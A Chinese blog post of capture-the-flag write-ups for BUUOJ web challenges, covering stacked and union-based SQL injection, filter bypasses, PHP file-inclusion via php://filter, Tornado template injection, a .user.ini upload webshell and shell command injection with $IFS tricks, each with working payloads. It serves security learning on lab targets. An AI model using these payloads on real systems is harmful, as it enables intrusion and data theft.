接上一个关于buuoj上的题解,确实题很多,慢慢刷吧
[SUCTF 2019]EasySQL
唉,大佬做题都是习惯在题目上标上Easy,本菜鸡已无力吐槽(自己菜还能怪谁。。。)
Give me your flag, I will tell you if the flag is right.
输入框
只有一个输入框,输入查询的东西,只有三种回显,一个是数组,一个是Nonono,一个是返回空,猜测Nonono应该是检测到了敏感词,其他的不知道了,又是日常搜题解
参考题解之后,知道是堆叠注入,而且输入的内容并不是往常的sql注入一样是参数,而是列名,后端的查询语句:
$sql = "select ".$_POST['query']."||flag from Flag";
蒙了呀,,,这咋猜啊
根据大佬们的wp,这题有两种解法
第一种
1;set sql_mode=PIPES_AS_CONCAT;select 1
sql_mode=PIPES_AS_CONCAT
是将||
由or
变为拼接字符串,在Oracle中是缺省支持的,但是在mysql中缺省不支持,这样的话,select
只会查询||
之前的那一列,本地测试结果:
mysql> set sql_mode=pipes_as_concat;
Query OK, 0 rows affected (0.00 sec)
mysql> select 111||username from users limit 1;
+---------------+
| 111||username |
+---------------+
| 111Dumb |
+---------------+
1 row in set (0.01 sec)
第二种
直接输入*,1
,因为*
是通配符,直接将所有的列查询出来,flag也就出来了
[HCTF 2018]admin
不会(菜的理直气壮)
大佬的wp:
HCTF2018-admin
[极客大挑战 2019]Secret File
这题主要就是涉及抓包以及文件包含,打开链接之后是个黑色的页面,显示“把一切都放在那里了,去找吧”
说实话我是鼠标乱划拉,划拉到页面下方的中间位置看到浏览器左下角有链接的提示,实际上也可以通过右键查看源代码,发现有个链接,访问之后提示让点击SECRET按钮
点击之后却返回一个页面显示说“查阅结束,没看清么?回去再仔细看看吧。”
猜测应该是存在页面跳转,用Burp Suite抓包可以看到有个返回的html页面中的注释secr3t.php
访问secr3t.php
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
然后按提示访问flag.php
,结果页面上没有显示,那么flag应该是保存在falg.php
中的某个变量中,可以利用secr3t.php
中的文件包含,利用php的filter协议读取flag.php
构造payload:
?file=php://filter/convert.base64-encode/resource=flag.php
然后再将结果base64解码就有结果了
可参考:
php伪协议的一些总结
[护网杯 2018]easy_tornado
打开靶机是个文件列表,只有三个文件,根据题目,Tornado是使用Python编写的Web服务器兼Web应用框架,那么这题很可能与ssti有关
/flag.txt //flag in /fllllllllllllag
/welcome.txt //render
/hints.txt //md5(cookie_secret+md5(filename))
注释后面是打开文件后的内容,观察打开文件后的url
,flag.txt
的url
:
http://e8c959bd-9e7f-4024-a8aa-02b012ae6b1b.node3.buuoj.cn/file?filename=/flag.txt&filehash=9d2667d483e4cb5a237908e3e552d3a0
看样子filename
即是要打开的文件,然后根据hints.txt
可以猜测,filehash
即为文件签名,签名方式即为hints.txt
中的方式,那么就还需要知道cookie_secret
有关render
函数的文章:render函数介绍,以及 render: h => h(App)
然后根据其他大佬的思路,在burpsuite里是找不到cookie
的,应该就是存在服务端了,然后根据报错页面(随便改一个文件的签名就会有404页面)
http://e8c959bd-9e7f-4024-a8aa-02b012ae6b1b.node3.buuoj.cn/error?msg=Error
其中msg
参数存在模板注入,经过测试屏蔽了很多特殊字符,输入{{1^1}}
或者{{1^0}}
可以进行异或运算
然后就不会了(再次菜的理直气壮),翻了一(亿)下别人的wp:学习笔记2.护网杯 2018 easy_tornado
然后直接用msg={{handler.settings}}
就可以获得cookie_secret
了
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '3970aa6c-cbfd-4f76-8f21-8d2972867169'}
然后计算文件对应的签名就可以拿到flag了,payload:
file?filename=/fllllllllllllag&filehash=5a0ab60fd2f5e61767ec46a3a8785553
[SUCTF 2019]CheckIn
文件上传,emmm,只会传一句话,日常搜题解
直接上传php一句话文件是不行的,提示illegal suffix!
非法后缀,直接改为jpg
结尾也不行,回显<? in contents!
随便传个内容试一下,文件名123.jpg
,内容test
,回显exif_imagetype:not image!
,exif_imagetype()
函数通过获取文件的第一个字节并检查签名来判断是哪种图片,不是图片则返回false
上传文件内容添加gif头GIF89a
,上传成功,返回上传目录,以及目录下的文件
Your dir uploads/76d9f00467e5ee6abc3ca60892ef304e
Your files :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(7) "123.jpg" [3]=> string(9) "index.php" }
分别是本目录.
上层目录..
和本目录下的index.php
以及刚上传的123.jpg
目前已知信息:
- 上传文件会经过黑名单过滤,不允许出现
<?
- 上传文件中必须存在图片文件的开头hex值
剩下的就不会了(理直气壮)
开始面向wp做题,看到大佬的wp说道可以上传.user.ini
文件来实现在php文件中引入类似require('file')
的效果
在.user.ini
中设置auto_prepend_file=shell.jpg
,就可以在index.php
中自动添加shell.jpg
先上传'xxx.jpg'
GIF89a
<script language='php'>system('cat /flag');</script>
然后上传'.user.ini'
GIF89a
auto_prepend_file=xxx.jpg
然后访问
http://.../uploads/76d9f00467e5ee6abc3ca60892ef304e/index.php
成功getflag
参考链接
- https://www.cnblogs.com/20175211lyz/p/11455355.html
- https://xz.aliyun.com/t/6091#toc-1
- https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
N种方法解决
不行,怎么说得做道题,不能睡那么早,做个misc压压惊(菜鸡只会misc)
下载压缩包,解压后得到KEY.exe,但是电脑却无法运行,拖到winhex里看到直接就是base64编码的图片,base64解码之后得到二维码,然后扫码get flag
放几个base解码编码的网站:
[极客大挑战 2019]EasySQL
登录界面,输入参数之后提交到check.php
,直接用的get
方式,单引号可以看到报错信息,payload:uname=a' or ''='&passwd=a' or ''='
[极客大挑战 2019]LoveSQL
接上一题,联合查询注入(这题我会!),上一题的payload可以成功登陆而且给了admin的密码,但是没啥卵用,题目上说flag放在其他地方了,先order by
得出有三列
然后uname=a&passwd=a' union select 1,2,'3
可以看到有2和3两个回显,database()
,得到数据库geek
(其实这一步报错也能看到,我是手滑函数名输错了,然后提示FUNCTION geek.databse does not exist
,那看来数据库就是geek
了)
uname=a&passwd=a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek
//查到两张表geekuser,l0ve1ysq1
uname=a&passwd=a' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1
//查到三列id,username,password
uname=a&passwd=a' union select 1,group_concat(username),group_concat(password) from l0ve1ysq1#
//查到一大堆东西,其中password字段最后一行是flag
总结一下就是个简单的联合查询注入,,,很经典的题,没有任何过滤,sqlmap应该能直接注入(可惜我不会用,就当练手了吧),毕竟人家出题人都说了“sqlmap是没有灵魂的”(话说要是会用sqlmap谁还管你有没有灵魂)
[极客大挑战 2019]BabySQL
双写绕过,如果查询语句只经过了一次过滤,过滤方式为把关键字删除,那么直接将所有被过滤的关键字双写即可:
or -->oORr
from --> fFROMrom
union --> uUNIONnion
select --> sSELECTelect
where --> wWHEREhere
information_schema --> infoORrmation_schema
password --> passwoORrd
[GXYCTF2019]Ping Ping Ping
命令执行,但是按照别人的题解,只返回了index.php
的部分源码
?ip=1;cat$IFS`ls`
也尝试了变量拼接,注意源码中的正则匹配是不允许有.*f.*l.*a.*g.*
也就是顺序也不能是flag
?ip=1;a=ag.php;b=fl;cat$FS$b$a //注意不能是a=fl;b=ag.php
但是依然没有回显,然后用管道符连接执行od -c
查看
?ip=1;a=ag.php;b=fl;cat$IFS$b$a|od$IFS-c
//成功得到回显
PING 1 (0.0.0.1): 56 data bytes
0000000 < ? p h p \r \n $ f l a g = "
0000020 f l a g { e a e b 6 f 3 4 - 3 f
0000040 e d - 4 2 0 2 - 8 e 2 8 - 7 8 5
0000060 7 b 4 a 6 4 d 4 a } " ; \r \n ? >
0000100 \r \n
0000102
mdzz。。。刚刚重新试了一下,右键查看源代码就行了。。。没必要费事用od -c
,可能是浏览器的锅,应该是浏览器识别为php代码了
index.php的代码
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
总结一下可以查看文件的命令
cat tac nl more less head tail od
GXYCTF2019WP
[GXYCTF2019]Ping Ping Ping {命令执行总结}
[GXYCTF2019]BabySQli
单引号报错界面查看源代码,可以看到html注释,base32之后base64会给出$sql
查询语句,如果输入的用户名不是admin会回显wrong user,是则回显wrong pass,那么一定有admin这个用户,下面是github上的部分源码
$sql = "select * from user where username = '".$name."'";
//...
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
知道源码之后可以再username处进行注入,通过order by(注意or被过滤,可以大写绕过)判断出有三列,可以通过联合查询返回自己要的结果,payload:
uname=a' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b&password=1
union select使得返回的结果为一行内容
1 | admin | c4ca4238a0b923820dcc509a6f75849b //'1'的md5值
那么和md5($password)
比较之后就会通过判断,然后就有flag了